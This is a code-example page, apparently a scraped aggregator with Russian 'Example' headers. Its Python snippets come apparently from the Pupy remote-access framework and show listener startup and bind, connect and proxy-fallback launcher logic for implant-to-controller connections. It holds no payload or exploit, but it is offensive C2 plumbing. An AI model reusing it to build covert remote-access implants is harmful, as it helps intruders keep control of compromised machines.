Пример #1
0
    def run(self):
        self.handler_registered.wait()
        t = transports[self.transport]()
        transport_kwargs = t.server_transport_kwargs
        if self.transport_kwargs:
            opt_args = parse_transports_args(self.transport_kwargs)
            for val in opt_args:
                if val.lower() in t.server_transport_kwargs:
                    transport_kwargs[val.lower()] = opt_args[val]
                else:
                    logging.warning("unknown transport argument : %s" % val)
        if t.authenticator:
            authenticator = t.authenticator()
        else:
            authenticator = None
        try:
            t.parse_args(transport_kwargs)
        except Exception as e:
            logging.exception(e)

        try:
            self.server = t.server(PupyService.PupyService,
                                   port=self.port,
                                   hostname=self.address,
                                   authenticator=authenticator,
                                   stream=t.stream,
                                   transport=t.server_transport,
                                   transport_kwargs=t.server_transport_kwargs,
                                   ipv6=self.ipv6)
            self.server.start()
        except Exception as e:
            logging.exception(e)
Пример #2
0
 def run(self):
     self.handler_registered.wait()
     t=transports[self.transport]()
     transport_kwargs=t.server_transport_kwargs
     if self.transport_kwargs:
         opt_args=parse_transports_args(self.transport_kwargs)
         for val in opt_args:
             if val.lower() in t.server_transport_kwargs:
                 transport_kwargs[val.lower()]=opt_args[val]
             else:
                 logging.warning("unknown transport argument : %s"%val)
     if t.authenticator:
         authenticator=t.authenticator()
     else:
         authenticator=None
     try:
         t.parse_args(transport_kwargs)
     except Exception as e:
         logging.exception(e)
     
     if self.port < 1024 and os.getuid() != 0:
         logging.error('[-] Failed to start the server on port %s, you need admin rights !' % str(self.port))
     else:
         try:
             self.server = t.server(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t.stream, transport=t.server_transport, transport_kwargs=t.server_transport_kwargs, ipv6=self.ipv6)
             self.server.start()
         except Exception as e:
             logging.exception(e)
Пример #3
0
    def run(self):
        self.handler_registered.wait()
        t=transports[self.transport]()
        transport_kwargs=t.server_transport_kwargs
        if self.transport_kwargs:
            opt_args=parse_transports_args(self.transport_kwargs)
            for val in opt_args:
                if val.lower() in t.server_transport_kwargs:
                    transport_kwargs[val.lower()]=opt_args[val]
                else:
                    logging.warning("unknown transport argument : %s"%val)
        if t.authenticator:
            authenticator=t.authenticator()
        else:
            authenticator=None
        try:
            t.parse_args(transport_kwargs)
        except Exception as e:
            logging.exception(e)

        try:
            self.server = t.server(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t.stream, transport=t.server_transport, transport_kwargs=t.server_transport_kwargs, ipv6=self.ipv6)
            self.server.start()
        except Exception as e:
            logging.exception(e)
Пример #4
0
    def iterate(self):
        if self.args is None:
            raise LauncherError("parse_args needs to be called before iterate")

        logging.info("binding on %s:%s using transport %s ..."%(self.args.host, self.args.port, self.args.transport))
        opt_args = utils.parse_transports_args(' '.join(self.args.transport_args))
        t = transports[self.args.transport](bind_payload=True)

        transport_kwargs = t.server_transport_kwargs
        for val in opt_args:
            if val.lower() in t.server_transport_kwargs:
                transport_kwargs[val.lower()]=opt_args[val]
            else:
                logging.warning("unknown transport argument : %s"%val)

        t.parse_args(transport_kwargs)
        logging.info("using transports options: %s"%transport_kwargs)
        if t.authenticator:
            authenticator = t.authenticator()
        else:
            authenticator = None

        self.set_connection_info(
            None, self.args.host, self.args.port,
            None, self.args.transport
        )

        yield (
            t.server, self.args.port, self.args.host,
            authenticator, t.stream, t.server_transport,
            transport_kwargs
        )

        self.reset_connection_info()
Пример #5
0
    def iterate(self):
        if self.args is None:
            raise LauncherError("parse_args needs to be called before iterate")

        for current_host in self.args.host:
            self.parse_host(current_host)
            try:
                logging.info("connecting to %s:%s using transport %s ..." %
                             (self.rhost, self.rport, self.args.transport))
                opt_args = utils.parse_transports_args(' '.join(
                    self.args.transport_args))
                t = self.transports[self.args.transport](
                    bind_payload=self.connect_on_bind_payload)
                client_args = t.client_kwargs
                transport_args = t.client_transport_kwargs

                if 'host' not in opt_args:
                    transport_args['host'] = '{}{}'.format(
                        self.rhost,
                        ':{}'.format(self.rport) if self.rport != 80 else '')

                for val in opt_args:
                    if val.lower() in t.client_kwargs:
                        client_args[val.lower()] = opt_args[val]
                    elif val.lower() in t.client_transport_kwargs:
                        transport_args[val.lower()] = opt_args[val]
                    else:
                        logging.warning("unknown transport argument : %s" %
                                        val)

                logging.info("using client options: %s" % client_args)
                logging.info("using transports options: %s" % transport_args)

                try:
                    t.parse_args(transport_args)
                except Exception as e:
                    #at this point we quit if we can't instanciate the client
                    raise SystemExit(e)

                try:
                    client = t.client(**client_args)
                except Exception as e:
                    raise SystemExit(e)

                s = client.connect(self.rhost, self.rport)
                stream = t.stream(s, t.client_transport,
                                  t.client_transport_kwargs)
                yield stream

            except Exception as e:
                logging.exception(e)
    def run(self):
        self.handler_registered.wait()
        t = transports[self.transport]()

        if self.httpd:
            t.server_transport = chain_transports(
                PupyHTTPWrapperServer.custom(server=self),
                t.server_transport
            )

        transport_kwargs=t.server_transport_kwargs
        if self.transport_kwargs:
            opt_args=parse_transports_args(self.transport_kwargs)
            for val in opt_args:
                if val.lower() in t.server_transport_kwargs:
                    transport_kwargs[val.lower()]=opt_args[val]
                else:
                    logging.warning("unknown transport argument : %s"%val)
        if t.authenticator:
            authenticator=t.authenticator()
        else:
            authenticator=None
        try:
            t.parse_args(transport_kwargs)
        except Exception as e:
            logging.exception(e)

        try:
            self.server = t.server(
                PupyService,
                port=self.port, hostname=self.address,
                authenticator=authenticator,
                stream=t.stream,
                transport=t.server_transport,
                transport_kwargs=t.server_transport_kwargs,
                pupy_srv=self,
                ipv6=self.ipv6,
                igd=self.igd
            )

            self.server.start()
        except socket.error as e:
            if e.errno == errno.EACCES:
                logging.error('Insufficient privileges to bind on port {}'.format(self.port))
            else:
                logging.exception(e)
        except Exception as e:
            logging.exception(e)
        finally:
            self.finished.set()
Пример #7
0
    def parse_args(self, args):
        super(ConnectLauncher, self).parse_args(args)

        self.opt_args = parse_transports_args(self.args.transport_args)
        self.hosts = [parse_host(host) for host in self.args.host]
Пример #8
0
    def iterate(self):
        if self.args is None:
            raise LauncherError("parse_args needs to be called before iterate")

        opt_args = utils.parse_transports_args(' '.join(
            self.args.transport_args))

        if not self.args.no_direct:
            #first we try without any proxy :
            try:
                t = network.conf.transports[self.args.transport]()

                client_args = {k: v for k, v in t.client_kwargs.iteritems()}

                transport_args = {
                    k: v
                    for k, v in t.client_transport_kwargs.iteritems()
                }

                if 'host' in transport_args and not 'host' in opt_args:
                    transport_args['host'] = '{}{}'.format(
                        self.rhost,
                        ':{}'.format(self.rport) if self.rport != 80 else '')

                for val in opt_args:
                    if val.lower() in t.client_kwargs:
                        client_args[val.lower()] = opt_args[val]
                    elif val.lower() in t.client_transport_kwargs:
                        transport_args[val.lower()] = opt_args[val]
                    else:
                        logging.warning("unknown transport argument : %s" %
                                        val)

                logging.info("using client options: %s" % client_args)
                logging.info("using transports options: %s" % transport_args)
                try:
                    t.parse_args(transport_args)
                except Exception as e:
                    #at this point we quit if we can't instanciate the client
                    raise SystemExit(e)
                try:
                    client = t.client(**client_args)
                except Exception as e:
                    #at this point we quit if we can't instanciate the client
                    raise SystemExit(e)
                logging.info(
                    "connecting to %s:%s using transport %s without any proxy ..."
                    % (self.rhost, self.rport, self.args.transport))
                s = client.connect(self.rhost, self.rport)
                stream = t.stream(s, t.client_transport, transport_args)
                yield stream
            except StopIteration:
                raise
            except Exception as e:
                logging.error(e)

        #then with proxies
        for proxy_type, proxy, proxy_username, proxy_password in get_proxies(
                additional_proxies=self.args.add_proxy):
            try:
                t = network.conf.transports[self.args.transport]()
                client_args = {k: v for k, v in t.client_kwargs.iteritems()}

                transport_args = {
                    k: v
                    for k, v in t.client_transport_kwargs.iteritems()
                }

                if 'host' in transport_args and not 'host' in opt_args:
                    transport_args['host'] = '{}{}'.format(
                        self.rhost,
                        ':{}'.format(self.rport) if self.rport != 80 else '')

                for val in opt_args:
                    if val.lower() in t.client_transport_kwargs:
                        transport_args[val.lower()] = opt_args[val]
                    else:
                        client_args[val.lower()] = opt_args[val]

                if proxy_type in t.internal_proxy_impl:
                    transport_args['proxy'] = True

                    if proxy_password or proxy_username:
                        transport_args['auth'] = (proxy_username,
                                                  proxy_password)

                    host, port = proxy.split(':')
                    port = int(port)

                    logging.info(
                        "using internal proxy implementation with client options: %s"
                        % client_args)
                    logging.info("using transports options: %s" %
                                 transport_args)

                    try:
                        t.parse_args(transport_args)
                    except Exception as e:
                        raise SystemExit(e)

                    try:
                        client = t.client(**client_args)
                    except Exception as e:
                        raise SystemExit(e)

                    logging.info(
                        "connecting to %s:%s using transport %s with internal proxy impl via %s:%d ..."
                        % (self.rhost, self.rport, self.args.transport, host,
                           port))

                    s = client.connect(host, port)
                    stream = t.stream(s, t.client_transport, transport_args)
                    yield stream
                    continue

                if t.client is PupyTCPClient:
                    t.client = PupyProxifiedTCPClient
                elif t.client is PupySSLClient:
                    t.client = PupyProxifiedSSLClient
                else:
                    raise SystemExit(
                        "proxyfication for client %s is not implemented" %
                        str(t.client))
                client_args["proxy_type"] = proxy_type.upper()
                proxy_addr, proxy_port = proxy.split(":", 1)
                client_args["proxy_addr"] = proxy_addr
                client_args["proxy_port"] = proxy_port
                client_args["proxy_username"] = proxy_username
                client_args["proxy_password"] = proxy_password
                logging.info("using client options: %s" % client_args)
                logging.info("using transports options: %s" % transport_args)
                try:
                    t.parse_args(transport_args)
                except Exception as e:
                    #at this point we quit if we can't instanciate the client
                    raise SystemExit(e)
                try:
                    client = t.client(**client_args)
                except Exception as e:
                    #at this point we quit if we can't instanciate the client
                    raise SystemExit(e)
                logging.info(
                    "connecting to %s:%s using transport %s and %s proxy %s:%s ..."
                    % (self.rhost, self.rport, self.args.transport, proxy_type,
                       proxy_addr, proxy_port))
                s = client.connect(self.rhost, self.rport)
                stream = t.stream(s, t.client_transport,
                                  t.client_transport_kwargs)
                yield stream
            except StopIteration:
                raise
            except Exception as e:
                logging.error(e)